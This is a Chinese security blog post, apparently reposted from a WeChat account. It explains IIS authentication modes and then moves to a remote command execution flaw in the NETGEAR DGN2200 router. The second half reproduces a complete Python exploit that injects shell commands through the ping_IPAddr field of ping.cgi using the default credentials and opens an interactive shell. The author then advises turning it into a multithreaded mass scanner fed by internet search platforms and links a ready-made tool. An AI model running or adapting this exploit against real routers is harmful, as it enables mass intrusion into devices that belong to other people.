从iis认证方式的学习到一个路由器漏洞的调试

Web使人们可以很方便的访问分布在世界各个角落里信息。但仅仅是方便还远远不够,并非所有的信息都适合在互联网上公开访问,我们需要保证只有特定的人才能看到我们的敏感信息并且执行特定的操作。

1

IIS的各种身份验证介绍

IIS网站默认是允许所有用户连接,如果网站的只需要针对特定用户来开放的话,就需要对用户进行验证,而进行验证的主要方法有:

? 匿名身份验证

? 基本身份验证

? 摘要式身份验证

? Windows集成身份验证

注:2008系统默认只启用了匿名身份验证,另外三种需要通过添加角色服务的方式来添加

这里以2003为例子,触类旁通~

在iis管理器中找到对应的网站,右键属性,选择目录安全性选项卡,点击编辑~

我们可以看到,下图中有五种验证方式,抛开最后一种验证方式,主要介绍前面的四种。

一、匿名身份验证

即用户访问站点时,不需要提供身份认证信息,即可正常访问站点!

二、基本身份验证

若网站启用了基本身份验证,访问站点时,会要求用户输入密码!在网站后台等目录常用

使用此身份验证,需先将匿名身份验证禁用!

默认域:可以添加域账户,或将其留空。 将依据此域对登录到您的站点时未提供域的用户进行身份验证。

身份验证的顺序为: 匿名身份验证>windows验证>摘要式身份验证>基本身份验证

可以这么理解,如果同时开启匿名身份验证和基本身份验证,客户端就会先利用匿名身份验证,

所以基本身份验证即无效!

三、摘要式身份验证

摘要式身份验证如基本身份验证一样需要输入账户密码,但是比基本身份认证更安全,

基本身份验证在网络上传输不加密的 Base64 编码的密码,而摘要式身份验证用户密码使用MD5加密!

使用摘要式身份验证必须具备下面三个条件:

? 浏览器支持HTTP 1.1 IE5以上都支持

? IIS服务器必须是Windows 域控制器成员服务器或者域控制器

? 用户登录招呼必须是域控制器账户,而且是同IIS服务器用以域或者信任域!

所以说摘要式身份验证是使用 Windows 域控制器对请求访问 Web 服务器内容的用户进行身份验证。

四、Windows 集成身份验证

这个验证在实际的渗透或者生产中我基本没有怎么看到,可能是阅历的原因吧。在这里不多提,下面给一段官方的话作为了解~

如果您希望客户端使用 NTLM 或 Kerberos 协议进行身份验证,则应使用 Windows 身份验证。

Windows 身份验证同时包括 NTLM 和 Kerberos v5 身份验证,它最适用于 Intranet 环境,其原因如下:

1. 客户端计算机和 Web 服务器位于同一个域中。

2. 管理员可以确保所有客户端浏览器均为 Internet Explorer 2.0 或更高版本。

3. 不需要不受 NTLM 支持的 HTTP 代理连接。

4. Kerberos v5 需要连接到 Active Directory,这在 Internet 环境中不可行。

总结:在一些需要身份验证的地方,Windows 集成身份验证和摘要式身份验证,因为使用条件限制,在个人网站中运用很少,所以我们更多的使用的是基本身份验证!

如果要多做运维或者了解,可以查看此博客上的一篇手册:

http://blog.csdn.net/fyifei0558/article/details/32130283

2

基本身份验证的介绍

C:\Users\Administrator>curl http://192.168.19.128:808

用curl请求这个加了windows基本身份认证的网站时,返回了401

C:\Users\Administrator>curl -i -u vaf:vaf http://192.168.19.128:808

IIS账户隶属于USERS用户组,我们新建的用户一般也是会隶属于 USER组。

但是记得为USERS组分配权限,

不然你只能用administrator的账户通过验证登录,(管理员默认是有访问web文件夹的权限的)

3

python中基本身份认证写法

#enconding:utf-8 import requests login = 'vaf' password = 'vaf' cmd = "whoami" data = {} url = "http://192.168.19.128:808/" req = requests.post(url, data=data,auth=(login,password)) print req.status_code

如果login或者pass错的话,那么就会返回401未授权访问,上面我使用正确的帐密,就返回了200状态码。

4

NETGEAR_DGN2200远程代码执行漏洞的分析和利用

这个路由器的V1、V2、V3、V4全版本都是可以利用的。

出处:https://www.exploit-db.com/exploits/41394/

这个漏洞由于要进入后台所以显得比较鸡肋,但是这个路由器的默认密码是:admin,password,开启了http基础认证,和我们之前的iis开启认证一样。

那么我们就可以用python来写一些POC了。

我们可以看下exploit-db的exp,是单个验证,返回一个交互的shell。

import sys import requests login = 'admin' password = 'password' def main(): if len(sys.argv) < 2 or len(sys.argv) == 3: print "./netgearpwn.py <router ip>" return spawnShell() def execute(cmd): r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping': "Ping", 'ping_IPAddr': "12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"}) result = parseOutput(r.text) return result def spawnShell(): r = execute("echo pwn3d") if any("pwn3d" in s for s in r) == False: print "Something went wrong, is the system vulnerable? Are the credentials correct?" return while True: cmd = raw_input("$ ") r = execute(cmd) for l in r: print l.encode("utf-8") def parseOutput(output): yet = False a = False result = [] for line in output.splitlines(): if line.startswith("<textarea"): yet = True continue if yet == True: if line.startswith("</textarea>"): break result.append(line) return result if __name__ == "__main__": main()

我们可以改装下成为批量,再加个多线程。

验证的话建议加一个比较不常见的md5,由于是嵌入式设备,Linux都是被阉割的版本,只有少数几条常见的命令。

所以echo 123|md5sum这样的命令是无法使用。所以我们可以直接echo一段比较不常见的字符串,比如:md5

但是不排除一些web应用在你访问错误的时候会返回错误的内容,所以可以拆分字符串。

比如:echo ‘123’+’234’之类(之前在调试struts048的时候就碰到了这个坑…

扫了半天白扫了)

这个漏洞是直接在阉割版本的Linux执行命令的,所以:Linux有一个特性,就是:

所以我们只能输出一串md5,虽然它不是严谨的,但是总比一串普通的字符串好吧。

直接放代码了…也可以对接fofa、zoomeye等平台,但是具体要自己弄下SDk调用。

GitHub的链接:

https://github.com/lonelyvaf/router_exp/blob/master/NETGEAR_DGN2200_RCE.py

成功率还不错,

https://github.com/lonelyvaf/router_exp/blob/master/NETGEAR_DGN2200_RCE.py

本文分享自微信公众号 - 晨星先生(MoXuanIT)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-08-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励